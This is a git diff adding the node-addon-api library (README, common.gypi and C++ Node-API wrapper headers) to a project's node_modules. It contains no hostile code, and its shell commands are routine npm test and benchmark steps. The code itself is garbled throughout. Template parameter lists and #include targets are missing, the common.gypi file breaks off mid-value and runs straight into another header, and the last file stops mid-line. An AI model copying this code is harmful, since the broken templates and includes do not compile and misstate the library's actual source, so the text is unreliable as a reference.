new APIs. For this reason, node-addon-api provides +methods that allow callers to obtain the underlying Node-API handles so +direct calls to Node-API and the use of the objects/methods provided by +node-addon-api can be used together. For example, in order to be able +to use an API for which the node-addon-api does not yet provide a wrapper. + +APIs exposed by node-addon-api are generally used to create and +manipulate JavaScript values. Concepts and operations generally map +to ideas specified in the **ECMA262 Language Specification**. + +The [Node-API Resource](https://nodejs.github.io/node-addon-examples/) offers an +excellent orientation and tips for developers just getting started with Node-API +and node-addon-api. + +- **[Setup](#setup)** +- **[API Documentation](#api)** +- **[Examples](#examples)** +- **[Tests](#tests)** +- **[More resource and info about native Addons](#resources)** +- **[Badges](#badges)** +- **[Code of Conduct](CODE_OF_CONDUCT.md)** +- **[Contributors](#contributors)** +- **[License](#license)** + +## **Current version: 6.1.0** + +(See [CHANGELOG.md](CHANGELOG.md) for complete Changelog) + +[![NPM](https://nodei.co/npm/node-addon-api.png?downloads=true&downloadRank=true)](https://nodei.co/npm/node-addon-api/) [![NPM](https://nodei.co/npm-dl/node-addon-api.png?months=6&height=1)](https://nodei.co/npm/node-addon-api/) + + + +node-addon-api is based on [Node-API](https://nodejs.org/api/n-api.html) and supports using different Node-API versions. +This allows addons built with it to run with Node.js versions which support the targeted Node-API version. +**However** the node-addon-api support model is to support only the active LTS Node.js versions. This means that +every year there will be a new major which drops support for the Node.js LTS version which has gone out of service. + +The oldest Node.js version supported by the current version of node-addon-api is Node.js 14.x. + +## Setup + - [Installation and usage](doc/setup.md) + - [node-gyp](doc/node-gyp.md) + - [cmake-js](doc/cmake-js.md) + - [Conversion tool](doc/conversion-tool.md) + - [Checker tool](doc/checker-tool.md) + - [Generator](doc/generator.md) + - [Prebuild tools](doc/prebuild_tools.md) + + + +### **API Documentation** + +The following is the documentation for node-addon-api. + + - [Full Class Hierarchy](doc/hierarchy.md) + - [Addon Structure](doc/addon.md) + - Data Types: + - [Env](doc/env.md) + - [CallbackInfo](doc/callbackinfo.md) + - [Reference](doc/reference.md) + - [Value](doc/value.md) + - [Name](doc/name.md) + - [Symbol](doc/symbol.md) + - [String](doc/string.md) + - [Number](doc/number.md) + - [Date](doc/date.md) + - [BigInt](doc/bigint.md) + - [Boolean](doc/boolean.md) + - [External](doc/external.md) + - [Object](doc/object.md) + - [Array](doc/array.md) + - [ObjectReference](doc/object_reference.md) + - [PropertyDescriptor](doc/property_descriptor.md) + - [Function](doc/function.md) + - [FunctionReference](doc/function_reference.md) + - [ObjectWrap](doc/object_wrap.md) + - [ClassPropertyDescriptor](doc/class_property_descriptor.md) + - [Buffer](doc/buffer.md) + - [ArrayBuffer](doc/array_buffer.md) + - [TypedArray](doc/typed_array.md) + - [TypedArrayOf](doc/typed_array_of.md) + - [DataView](doc/dataview.md) + - [Error Handling](doc/error_handling.md) + - [Error](doc/error.md) + - [TypeError](doc/type_error.md) + - [RangeError](doc/range_error.md) + - [Object Lifetime Management](doc/object_lifetime_management.md) + - [HandleScope](doc/handle_scope.md) + - [EscapableHandleScope](doc/escapable_handle_scope.md) + - [Memory Management](doc/memory_management.md) + - [Async Operations](doc/async_operations.md) + - [AsyncWorker](doc/async_worker.md) + - [AsyncContext](doc/async_context.md) + - [AsyncWorker Variants](doc/async_worker_variants.md) + - [Thread-safe Functions](doc/threadsafe.md) + - [ThreadSafeFunction](doc/threadsafe_function.md) + - [TypedThreadSafeFunction](doc/typed_threadsafe_function.md) + - [Promises](doc/promises.md) + - [Version management](doc/version_management.md) + + + +### **Examples** + +Are you new to **node-addon-api**? Take a look at our **[examples](https://github.com/nodejs/node-addon-examples)** + +- **[Hello World](https://github.com/nodejs/node-addon-examples/tree/HEAD/1_hello_world/node-addon-api)** +- **[Pass arguments to a function](https://github.com/nodejs/node-addon-examples/tree/HEAD/2_function_arguments/node-addon-api)** +- **[Callbacks](https://github.com/nodejs/node-addon-examples/tree/HEAD/3_callbacks/node-addon-api)** +- **[Object factory](https://github.com/nodejs/node-addon-examples/tree/HEAD/4_object_factory/node-addon-api)** +- **[Function factory](https://github.com/nodejs/node-addon-examples/tree/HEAD/5_function_factory/node-addon-api)** +- **[Wrapping C++ Object](https://github.com/nodejs/node-addon-examples/tree/HEAD/6_object_wrap/node-addon-api)** +- **[Factory of wrapped object](https://github.com/nodejs/node-addon-examples/tree/HEAD/7_factory_wrap/node-addon-api)** +- **[Passing wrapped object around](https://github.com/nodejs/node-addon-examples/tree/HEAD/8_passing_wrapped/node-addon-api)** + + + +### **Tests** + +To run the **node-addon-api** tests do: + +``` +npm install +npm test +``` + +To avoid testing the deprecated portions of the API run +``` +npm install +npm test --disable-deprecated +``` + +To run the tests targeting a specific version of Node-API run +``` +npm install +export NAPI_VERSION=X +npm test --NAPI_VERSION=X +``` + +where X is the version of Node-API you want to target. + +To run a specific unit test, filter conditions are available + +**Example:** + compile and run only tests on objectwrap.cc and objectwrap.js + ``` + npm run unit --filter=objectwrap + ``` + +Multiple unit tests cane be selected with wildcards + +**Example:** +compile and run all test files ending with "reference" -> function_reference.cc, object_reference.cc, reference.cc + ``` + npm run unit --filter=*reference + ``` + +Multiple filter conditions can be joined to broaden the test selection + +**Example:** + compile and run all tests under folders threadsafe_function and typed_threadsafe_function and also the objectwrap.cc file + npm run unit --filter='*function objectwrap' + +### **Debug** + +To run the **node-addon-api** tests with `--debug` option: + +``` +npm run-script dev +``` + +If you want a faster build, you might use the following option: + +``` +npm run-script dev:incremental +``` + +Take a look and get inspired by our **[test suite](https://github.com/nodejs/node-addon-api/tree/HEAD/test)** + +### **Benchmarks** + +You can run the available benchmarks using the following command: + +``` +npm run-script benchmark +``` + +See [benchmark/README.md](benchmark/README.md) for more details about running and adding benchmarks. + + + +### **More resource and info about native Addons** +- **[C++ Addons](https://nodejs.org/dist/latest/docs/api/addons.html)** +- **[Node-API](https://nodejs.org/dist/latest/docs/api/n-api.html)** +- **[Node-API - Next Generation Node API for Native Modules](https://youtu.be/-Oniup60Afs)** +- **[How We Migrated Realm JavaScript From NAN to Node-API](https://developer.mongodb.com/article/realm-javascript-nan-to-n-api)** + +As node-addon-api's core mission is to expose the plain C Node-API as C++ +wrappers, tools that facilitate n-api/node-addon-api providing more +convenient patterns for developing a Node.js add-on with n-api/node-addon-api +can be published to NPM as standalone packages. It is also recommended to tag +such packages with `node-addon-api` to provide more visibility to the community. + +Quick links to NPM searches: [keywords:node-addon-api](https://www.npmjs.com/search?q=keywords%3Anode-addon-api). + + + +### **Other bindings** + +- **[napi-rs](https://napi.rs)** - (`Rust`) + + + +### **Badges** + +The use of badges is recommended to indicate the minimum version of Node-API +required for the module. This helps to determine which Node.js major versions are +supported. Addon maintainers can consult the [Node-API support matrix][] to determine +which Node.js versions provide a given Node-API version. The following badges are +available: + +![Node-API v1 Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20v1%20Badge.svg) +![Node-API v2 Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20v2%20Badge.svg) +![Node-API v3 Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20v3%20Badge.svg) +![Node-API v4 Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20v4%20Badge.svg) +![Node-API v5 Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20v5%20Badge.svg) +![Node-API v6 Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20v6%20Badge.svg) +![Node-API v7 Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20v7%20Badge.svg) +![Node-API v8 Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20v8%20Badge.svg) +![Node-API Experimental Version Badge](https://github.com/nodejs/abi-stable-node/blob/doc/assets/Node-API%20Experimental%20Version%20Badge.svg) + +## **Contributing** + +We love contributions from the community to **node-addon-api**! +See [CONTRIBUTING.md](CONTRIBUTING.md) for more details on our philosophy around extending this module. + + + +## Team members + +### Active +| Name | GitHub Link | +| ------------------- | ----------------------------------------------------- | +| Anna Henningsen | [addaleax](https://github.com/addaleax) | +| Chengzhong Wu | [legendecas](https://github.com/legendecas) | +| Jack Xia | [JckXia](https://github.com/JckXia) | +| Kevin Eady | [KevinEady](https://github.com/KevinEady) | +| Michael Dawson | [mhdawson](https://github.com/mhdawson) | +| Nicola Del Gobbo | [NickNaso](https://github.com/NickNaso) | +| Vladimir Morozov | [vmoroz](https://github.com/vmoroz) | + +### Emeritus +| Name | GitHub Link | +| ------------------- | ----------------------------------------------------- | +| Arunesh Chandra | [aruneshchandra](https://github.com/aruneshchandra) | +| Benjamin Byholm | [kkoopa](https://github.com/kkoopa) | +| Gabriel Schulhof | [gabrielschulhof](https://github.com/gabrielschulhof) | +| Hitesh Kanwathirtha | [digitalinfinity](https://github.com/digitalinfinity) | +| Jason Ginchereau | [jasongin](https://github.com/jasongin) | +| Jim Schlight | [jschlight](https://github.com/jschlight) | +| Sampson Gao | [sampsongao](https://github.com/sampsongao) | +| Taylor Woll | [boingoing](https://github.com/boingoing) | + + + +Licensed under [MIT](./LICENSE.md) + +[ABI stability guide]: https://nodejs.org/en/docs/guides/abi-stability/ +[Node-API support matrix]: https://nodejs.org/dist/latest/docs/api/n-api.html#n_api_n_api_version_matrix diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/common.gypi b/env_xbb_lastest_jsdom/node_modules/node-addon-api/common.gypi new file mode 100644 index 00000000..9be254f0 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/common.gypi @@ -0,0 +1,21 @@ +{ + 'variables': { + 'NAPI_VERSION%': " +inline PropertyDescriptor PropertyDescriptor::Accessor( + const char* utf8name, + Getter getter, + napi_property_attributes attributes, + void* /*data*/) { + using CbData = details::CallbackData; + // TODO: Delete when the function is destroyed + auto callbackData = new CbData({getter, nullptr}); + + return PropertyDescriptor({utf8name, + nullptr, + nullptr, + CbData::Wrapper, + nullptr, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + const std::string& utf8name, + Getter getter, + napi_property_attributes attributes, + void* data) { + return Accessor(utf8name.c_str(), getter, attributes, data); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + napi_value name, + Getter getter, + napi_property_attributes attributes, + void* /*data*/) { + using CbData = details::CallbackData; + // TODO: Delete when the function is destroyed + auto callbackData = new CbData({getter, nullptr}); + + return PropertyDescriptor({nullptr, + name, + nullptr, + CbData::Wrapper, + nullptr, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + Name name, Getter getter, napi_property_attributes attributes, void* data) { + napi_value nameValue = name; + return PropertyDescriptor::Accessor(nameValue, getter, attributes, data); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + const char* utf8name, + Getter getter, + Setter setter, + napi_property_attributes attributes, + void* /*data*/) { + using CbData = details::AccessorCallbackData; + // TODO: Delete when the function is destroyed + auto callbackData = new CbData({getter, setter, nullptr}); + + return PropertyDescriptor({utf8name, + nullptr, + nullptr, + CbData::GetterWrapper, + CbData::SetterWrapper, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + const std::string& utf8name, + Getter getter, + Setter setter, + napi_property_attributes attributes, + void* data) { + return Accessor(utf8name.c_str(), getter, setter, attributes, data); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + napi_value name, + Getter getter, + Setter setter, + napi_property_attributes attributes, + void* /*data*/) { + using CbData = details::AccessorCallbackData; + // TODO: Delete when the function is destroyed + auto callbackData = new CbData({getter, setter, nullptr}); + + return PropertyDescriptor({nullptr, + name, + nullptr, + CbData::GetterWrapper, + CbData::SetterWrapper, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Accessor( + Name name, + Getter getter, + Setter setter, + napi_property_attributes attributes, + void* data) { + napi_value nameValue = name; + return PropertyDescriptor::Accessor( + nameValue, getter, setter, attributes, data); +} + +template +inline PropertyDescriptor PropertyDescriptor::Function( + const char* utf8name, + Callable cb, + napi_property_attributes attributes, + void* /*data*/) { + using ReturnType = decltype(cb(CallbackInfo(nullptr, nullptr))); + using CbData = details::CallbackData; + // TODO: Delete when the function is destroyed + auto callbackData = new CbData({cb, nullptr}); + + return PropertyDescriptor({utf8name, + nullptr, + CbData::Wrapper, + nullptr, + nullptr, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Function( + const std::string& utf8name, + Callable cb, + napi_property_attributes attributes, + void* data) { + return Function(utf8name.c_str(), cb, attributes, data); +} + +template +inline PropertyDescriptor PropertyDescriptor::Function( + napi_value name, + Callable cb, + napi_property_attributes attributes, + void* /*data*/) { + using ReturnType = decltype(cb(CallbackInfo(nullptr, nullptr))); + using CbData = details::CallbackData; + // TODO: Delete when the function is destroyed + auto callbackData = new CbData({cb, nullptr}); + + return PropertyDescriptor({nullptr, + name, + CbData::Wrapper, + nullptr, + nullptr, + nullptr, + attributes, + callbackData}); +} + +template +inline PropertyDescriptor PropertyDescriptor::Function( + Name name, Callable cb, napi_property_attributes attributes, void* data) { + napi_value nameValue = name; + return PropertyDescriptor::Function(nameValue, cb, attributes, data); +} + +#endif // !SRC_NAPI_INL_DEPRECATED_H_ diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/napi-inl.h b/env_xbb_lastest_jsdom/node_modules/node-addon-api/napi-inl.h new file mode 100644 index 00000000..c6ef0fbb --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/napi-inl.h @@ -0,0 +1,6588 @@ +#ifndef SRC_NAPI_INL_H_ +#define SRC_NAPI_INL_H_ + +//////////////////////////////////////////////////////////////////////////////// +// Node-API C++ Wrapper Classes +// +// Inline header-only implementations for "Node-API" ABI-stable C APIs for +// Node.js. +//////////////////////////////////////////////////////////////////////////////// + +// Note: Do not include this file directly! Include "napi.h" instead. + +#include +#include +#if NAPI_HAS_THREADS +#include +#endif // NAPI_HAS_THREADS +#include +#include + +namespace Napi { + +#ifdef NAPI_CPP_CUSTOM_NAMESPACE +namespace NAPI_CPP_CUSTOM_NAMESPACE { +#endif + +// Helpers to handle functions exposed from C++ and internal constants. +namespace details { + +// New napi_status constants not yet available in all supported versions of +// Node.js releases. Only necessary when they are used in napi.h and napi-inl.h. +constexpr int napi_no_external_buffers_allowed = 22; + +// Attach a data item to an object and delete it when the object gets +// garbage-collected. +// TODO: Replace this code with `napi_add_finalizer()` whenever it becomes +// available on all supported versions of Node.js. +template +inline napi_status AttachData(napi_env env, + napi_value obj, + FreeType* data, + napi_finalize finalizer = nullptr, + void* hint = nullptr) { + napi_status status; + if (finalizer == nullptr) { + finalizer = [](napi_env /*env*/, void* data, void* /*hint*/) { + delete static_cast(data); + }; + } +#if (NAPI_VERSION < 5) + napi_value symbol, external; + status = napi_create_symbol(env, nullptr, &symbol); + if (status == napi_ok) { + status = napi_create_external(env, data, finalizer, hint, &external); + if (status == napi_ok) { + napi_property_descriptor desc = {nullptr, + symbol, + nullptr, + nullptr, + nullptr, + external, + napi_default, + nullptr}; + status = napi_define_properties(env, obj, 1, &desc); + } + } +#else // NAPI_VERSION >= 5 + status = napi_add_finalizer(env, obj, data, finalizer, hint, nullptr); +#endif + return status; +} + +// For use in JS to C++ callback wrappers to catch any Napi::Error exceptions +// and rethrow them as JavaScript exceptions before returning from the callback. +template +inline napi_value WrapCallback(Callable callback) { +#ifdef NAPI_CPP_EXCEPTIONS + try { + return callback(); + } catch (const Error& e) { + e.ThrowAsJavaScriptException(); + return nullptr; + } +#else // NAPI_CPP_EXCEPTIONS + // When C++ exceptions are disabled, errors are immediately thrown as JS + // exceptions, so there is no need to catch and rethrow them here. + return callback(); +#endif // NAPI_CPP_EXCEPTIONS +} + +// For use in JS to C++ void callback wrappers to catch any Napi::Error +// exceptions and rethrow them as JavaScript exceptions before returning from +// the callback. +template +inline void WrapVoidCallback(Callable callback) { +#ifdef NAPI_CPP_EXCEPTIONS + try { + callback(); + } catch (const Error& e) { + e.ThrowAsJavaScriptException(); + } +#else // NAPI_CPP_EXCEPTIONS + // When C++ exceptions are disabled, errors are immediately thrown as JS + // exceptions, so there is no need to catch and rethrow them here. + callback(); +#endif // NAPI_CPP_EXCEPTIONS +} + +template +struct CallbackData { + static inline napi_value Wrapper(napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + CallbackData* callbackData = + static_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + return callbackData->callback(callbackInfo); + }); + } + + Callable callback; + void* data; +}; + +template +struct CallbackData { + static inline napi_value Wrapper(napi_env env, napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + CallbackData* callbackData = + static_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + callbackData->callback(callbackInfo); + return nullptr; + }); + } + + Callable callback; + void* data; +}; + +template +napi_value TemplatedVoidCallback(napi_env env, + napi_callback_info info) NAPI_NOEXCEPT { + return details::WrapCallback([&] { + CallbackInfo cbInfo(env, info); + Callback(cbInfo); + return nullptr; + }); +} + +template +napi_value TemplatedCallback(napi_env env, + napi_callback_info info) NAPI_NOEXCEPT { + return details::WrapCallback([&] { + CallbackInfo cbInfo(env, info); + return Callback(cbInfo); + }); +} + +template +napi_value TemplatedInstanceCallback(napi_env env, + napi_callback_info info) NAPI_NOEXCEPT { + return details::WrapCallback([&] { + CallbackInfo cbInfo(env, info); + T* instance = T::Unwrap(cbInfo.This().As()); + return (instance->*UnwrapCallback)(cbInfo); + }); +} + +template +napi_value TemplatedInstanceVoidCallback(napi_env env, napi_callback_info info) + NAPI_NOEXCEPT { + return details::WrapCallback([&] { + CallbackInfo cbInfo(env, info); + T* instance = T::Unwrap(cbInfo.This().As()); + (instance->*UnwrapCallback)(cbInfo); + return nullptr; + }); +} + +template +struct FinalizeData { + static inline void Wrapper(napi_env env, + void* data, + void* finalizeHint) NAPI_NOEXCEPT { + WrapVoidCallback([&] { + FinalizeData* finalizeData = static_cast(finalizeHint); + finalizeData->callback(Env(env), static_cast(data)); + delete finalizeData; + }); + } + + static inline void WrapperWithHint(napi_env env, + void* data, + void* finalizeHint) NAPI_NOEXCEPT { + WrapVoidCallback([&] { + FinalizeData* finalizeData = static_cast(finalizeHint); + finalizeData->callback( + Env(env), static_cast(data), finalizeData->hint); + delete finalizeData; + }); + } + + Finalizer callback; + Hint* hint; +}; + +#if (NAPI_VERSION > 3 && NAPI_HAS_THREADS) +template , + typename FinalizerDataType = void> +struct ThreadSafeFinalize { + static inline void Wrapper(napi_env env, + void* rawFinalizeData, + void* /* rawContext */) { + if (rawFinalizeData == nullptr) return; + + ThreadSafeFinalize* finalizeData = + static_cast(rawFinalizeData); + finalizeData->callback(Env(env)); + delete finalizeData; + } + + static inline void FinalizeWrapperWithData(napi_env env, + void* rawFinalizeData, + void* /* rawContext */) { + if (rawFinalizeData == nullptr) return; + + ThreadSafeFinalize* finalizeData = + static_cast(rawFinalizeData); + finalizeData->callback(Env(env), finalizeData->data); + delete finalizeData; + } + + static inline void FinalizeWrapperWithContext(napi_env env, + void* rawFinalizeData, + void* rawContext) { + if (rawFinalizeData == nullptr) return; + + ThreadSafeFinalize* finalizeData = + static_cast(rawFinalizeData); + finalizeData->callback(Env(env), static_cast(rawContext)); + delete finalizeData; + } + + static inline void FinalizeFinalizeWrapperWithDataAndContext( + napi_env env, void* rawFinalizeData, void* rawContext) { + if (rawFinalizeData == nullptr) return; + + ThreadSafeFinalize* finalizeData = + static_cast(rawFinalizeData); + finalizeData->callback( + Env(env), finalizeData->data, static_cast(rawContext)); + delete finalizeData; + } + + FinalizerDataType* data; + Finalizer callback; +}; + +template +inline typename std::enable_if(nullptr)>::type +CallJsWrapper(napi_env env, napi_value jsCallback, void* context, void* data) { + call(env, + Function(env, jsCallback), + static_cast(context), + static_cast(data)); +} + +template +inline typename std::enable_if(nullptr)>::type +CallJsWrapper(napi_env env, + napi_value jsCallback, + void* /*context*/, + void* /*data*/) { + if (jsCallback != nullptr) { + Function(env, jsCallback).Call(0, nullptr); + } +} + +#if NAPI_VERSION > 4 + +template +napi_value DefaultCallbackWrapper(napi_env /*env*/, std::nullptr_t /*cb*/) { + return nullptr; +} + +template +napi_value DefaultCallbackWrapper(napi_env /*env*/, Napi::Function cb) { + return cb; +} + +#else +template +napi_value DefaultCallbackWrapper(napi_env env, Napi::Function cb) { + if (cb.IsEmpty()) { + return TSFN::EmptyFunctionFactory(env); + } + return cb; +} +#endif // NAPI_VERSION > 4 +#endif // NAPI_VERSION > 3 && NAPI_HAS_THREADS + +template +struct AccessorCallbackData { + static inline napi_value GetterWrapper(napi_env env, + napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + AccessorCallbackData* callbackData = + static_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + return callbackData->getterCallback(callbackInfo); + }); + } + + static inline napi_value SetterWrapper(napi_env env, + napi_callback_info info) { + return details::WrapCallback([&] { + CallbackInfo callbackInfo(env, info); + AccessorCallbackData* callbackData = + static_cast(callbackInfo.Data()); + callbackInfo.SetData(callbackData->data); + callbackData->setterCallback(callbackInfo); + return nullptr; + }); + } + + Getter getterCallback; + Setter setterCallback; + void* data; +}; + +} // namespace details + +#ifndef NODE_ADDON_API_DISABLE_DEPRECATED +#include "napi-inl.deprecated.h" +#endif // !NODE_ADDON_API_DISABLE_DEPRECATED + +//////////////////////////////////////////////////////////////////////////////// +// Module registration +//////////////////////////////////////////////////////////////////////////////// + +// Register an add-on based on an initializer function. +#define NODE_API_MODULE(modname, regfunc) \ + static napi_value __napi_##regfunc(napi_env env, napi_value exports) { \ + return Napi::RegisterModule(env, exports, regfunc); \ + } \ + NAPI_MODULE(modname, __napi_##regfunc) + +// Register an add-on based on a subclass of `Addon` with a custom Node.js +// module name. +#define NODE_API_NAMED_ADDON(modname, classname) \ + static napi_value __napi_##classname(napi_env env, napi_value exports) { \ + return Napi::RegisterModule(env, exports, &classname::Init); \ + } \ + NAPI_MODULE(modname, __napi_##classname) + +// Register an add-on based on a subclass of `Addon` with the Node.js module +// name given by node-gyp from the `target_name` in binding.gyp. +#define NODE_API_ADDON(classname) \ + NODE_API_NAMED_ADDON(NODE_GYP_MODULE_NAME, classname) + +// Adapt the NAPI_MODULE registration function: +// - Wrap the arguments in NAPI wrappers. +// - Catch any NAPI errors and rethrow as JS exceptions. +inline napi_value RegisterModule(napi_env env, + napi_value exports, + ModuleRegisterCallback registerCallback) { + return details::WrapCallback([&] { + return napi_value( + registerCallback(Napi::Env(env), Napi::Object(env, exports))); + }); +} + +//////////////////////////////////////////////////////////////////////////////// +// Maybe class +//////////////////////////////////////////////////////////////////////////////// + +template +bool Maybe::IsNothing() const { + return !_has_value; +} + +template +bool Maybe::IsJust() const { + return _has_value; +} + +template +void Maybe::Check() const { + NAPI_CHECK(IsJust(), "Napi::Maybe::Check", "Maybe value is Nothing."); +} + +template +T Maybe::Unwrap() const { + NAPI_CHECK(IsJust(), "Napi::Maybe::Unwrap", "Maybe value is Nothing."); + return _value; +} + +template +T Maybe::UnwrapOr(const T& default_value) const { + return _has_value ? _value : default_value; +} + +template +bool Maybe::UnwrapTo(T* out) const { + if (IsJust()) { + *out = _value; + return true; + }; + return false; +} + +template +bool Maybe::operator==(const Maybe& other) const { + return (IsJust() == other.IsJust()) && + (!IsJust() || Unwrap() == other.Unwrap()); +} + +template +bool Maybe::operator!=(const Maybe& other) const { + return !operator==(other); +} + +template +Maybe::Maybe() : _has_value(false) {} + +template +Maybe::Maybe(const T& t) : _has_value(true), _value(t) {} + +template +inline Maybe Nothing() { + return Maybe(); +} + +template +inline Maybe Just(const T& t) { + return Maybe(t); +} + +//////////////////////////////////////////////////////////////////////////////// +// Env class +//////////////////////////////////////////////////////////////////////////////// + +inline Env::Env(napi_env env) : _env(env) {} + +inline Env::operator napi_env() const { + return _env; +} + +inline Object Env::Global() const { + napi_value value; + napi_status status = napi_get_global(*this, &value); + NAPI_THROW_IF_FAILED(*this, status, Object()); + return Object(*this, value); +} + +inline Value Env::Undefined() const { + napi_value value; + napi_status status = napi_get_undefined(*this, &value); + NAPI_THROW_IF_FAILED(*this, status, Value()); + return Value(*this, value); +} + +inline Value Env::Null() const { + napi_value value; + napi_status status = napi_get_null(*this, &value); + NAPI_THROW_IF_FAILED(*this, status, Value()); + return Value(*this, value); +} + +inline bool Env::IsExceptionPending() const { + bool result; + napi_status status = napi_is_exception_pending(_env, &result); + if (status != napi_ok) + result = false; // Checking for a pending exception shouldn't throw. + return result; +} + +inline Error Env::GetAndClearPendingException() const { + napi_value value; + napi_status status = napi_get_and_clear_last_exception(_env, &value); + if (status != napi_ok) { + // Don't throw another exception when failing to get the exception! + return Error(); + } + return Error(_env, value); +} + +inline MaybeOrValue Env::RunScript(const char* utf8script) const { + String script = String::New(_env, utf8script); + return RunScript(script); +} + +inline MaybeOrValue Env::RunScript(const std::string& utf8script) const { + return RunScript(utf8script.c_str()); +} + +inline MaybeOrValue Env::RunScript(String script) const { + napi_value result; + napi_status status = napi_run_script(_env, script, &result); + NAPI_RETURN_OR_THROW_IF_FAILED( + _env, status, Napi::Value(_env, result), Napi::Value); +} + +#if NAPI_VERSION > 2 +template +void Env::CleanupHook::Wrapper(void* data) NAPI_NOEXCEPT { + auto* cleanupData = + static_cast::CleanupData*>( + data); + cleanupData->hook(); + delete cleanupData; +} + +template +void Env::CleanupHook::WrapperWithArg(void* data) NAPI_NOEXCEPT { + auto* cleanupData = + static_cast::CleanupData*>( + data); + cleanupData->hook(static_cast(cleanupData->arg)); + delete cleanupData; +} +#endif // NAPI_VERSION > 2 + +#if NAPI_VERSION > 5 +template fini> +inline void Env::SetInstanceData(T* data) const { + napi_status status = napi_set_instance_data( + _env, + data, + [](napi_env env, void* data, void*) { fini(env, static_cast(data)); }, + nullptr); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +template fini> +inline void Env::SetInstanceData(DataType* data, HintType* hint) const { + napi_status status = napi_set_instance_data( + _env, + data, + [](napi_env env, void* data, void* hint) { + fini(env, static_cast(data), static_cast(hint)); + }, + hint); + NAPI_THROW_IF_FAILED_VOID(_env, status); +} + +template +inline T* Env::GetInstanceData() const { + void* data = nullptr; + + napi_status status = napi_get_instance_data(_env, &data); + NAPI_THROW_IF_FAILED(_env, status, nullptr); + + return static_cast(data); +} + +template +void Env::DefaultFini(Env, T* data) { + delete data; +} + +template +void Env::DefaultFiniWithHint(Env, DataType* data, HintType*) { + delete data; +} +#endif // NAPI_VERSION > 5 + +//////////////////////////////////////////////////////////////////////////////// +// Value class +//////////////////////////////////////////////////////////////////////////////// + +inline Value::Value() : _env(nullptr), _value(nullptr) {} + +inline Value::Value(napi_env env, napi_value value) + : _env(env), _value(value) {} + +inline Value::operator napi_value() const { + return _value; +} + +inline bool Value::operator==(const Value& other) const { + return StrictEquals(other); +} + +inline bool Value::operator!=(const Value& other) const { + return !this->operator==(other); +} + +inline bool Value::StrictEquals(const Value& other) const { + bool result; + napi_status status = napi_strict_equals(_env, *this, other, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +inline Napi::Env Value::Env() const { + return Napi::Env(_env); +} + +inline bool Value::IsEmpty() const { + return _value == nullptr; +} + +inline napi_valuetype Value::Type() const { + if (IsEmpty()) { + return napi_undefined; + } + + napi_valuetype type; + napi_status status = napi_typeof(_env, _value, &type); + NAPI_THROW_IF_FAILED(_env, status, napi_undefined); + return type; +} + +inline bool Value::IsUndefined() const { + return Type() == napi_undefined; +} + +inline bool Value::IsNull() const { + return Type() == napi_null; +} + +inline bool Value::IsBoolean() const { + return Type() == napi_boolean; +} + +inline bool Value::IsNumber() const { + return Type() == napi_number; +} + +#if NAPI_VERSION > 5 +inline bool Value::IsBigInt() const { + return Type() == napi_bigint; +} +#endif // NAPI_VERSION > 5 + +#if (NAPI_VERSION > 4) +inline bool Value::IsDate() const { + if (IsEmpty()) { + return false; + } + + bool result; + napi_status status = napi_is_date(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} +#endif + +inline bool Value::IsString() const { + return Type() == napi_string; +} + +inline bool Value::IsSymbol() const { + return Type() == napi_symbol; +} + +inline bool Value::IsArray() const { + if (IsEmpty()) { + return false; + } + + bool result; + napi_status status = napi_is_array(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +inline bool Value::IsArrayBuffer() const { + if (IsEmpty()) { + return false; + } + + bool result; + napi_status status = napi_is_arraybuffer(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +inline bool Value::IsTypedArray() const { + if (IsEmpty()) { + return false; + } + + bool result; + napi_status status = napi_is_typedarray(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +inline bool Value::IsObject() const { + return Type() == napi_object || IsFunction(); +} + +inline bool Value::IsFunction() const { + return Type() == napi_function; +} + +inline bool Value::IsPromise() const { + if (IsEmpty()) { + return false; + } + + bool result; + napi_status status = napi_is_promise(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +inline bool Value::IsDataView() const { + if (IsEmpty()) { + return false; + } + + bool result; + napi_status status = napi_is_dataview(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +inline bool Value::IsBuffer() const { + if (IsEmpty()) { + return false; + } + + bool result; + napi_status status = napi_is_buffer(_env, _value, &result); + NAPI_THROW_IF_FAILED(_env, status, false); + return result; +} + +inline bool Value::IsExternal() const { + return Type() == napi_external; +} + +template +inline T Value::As() const { +#ifdef 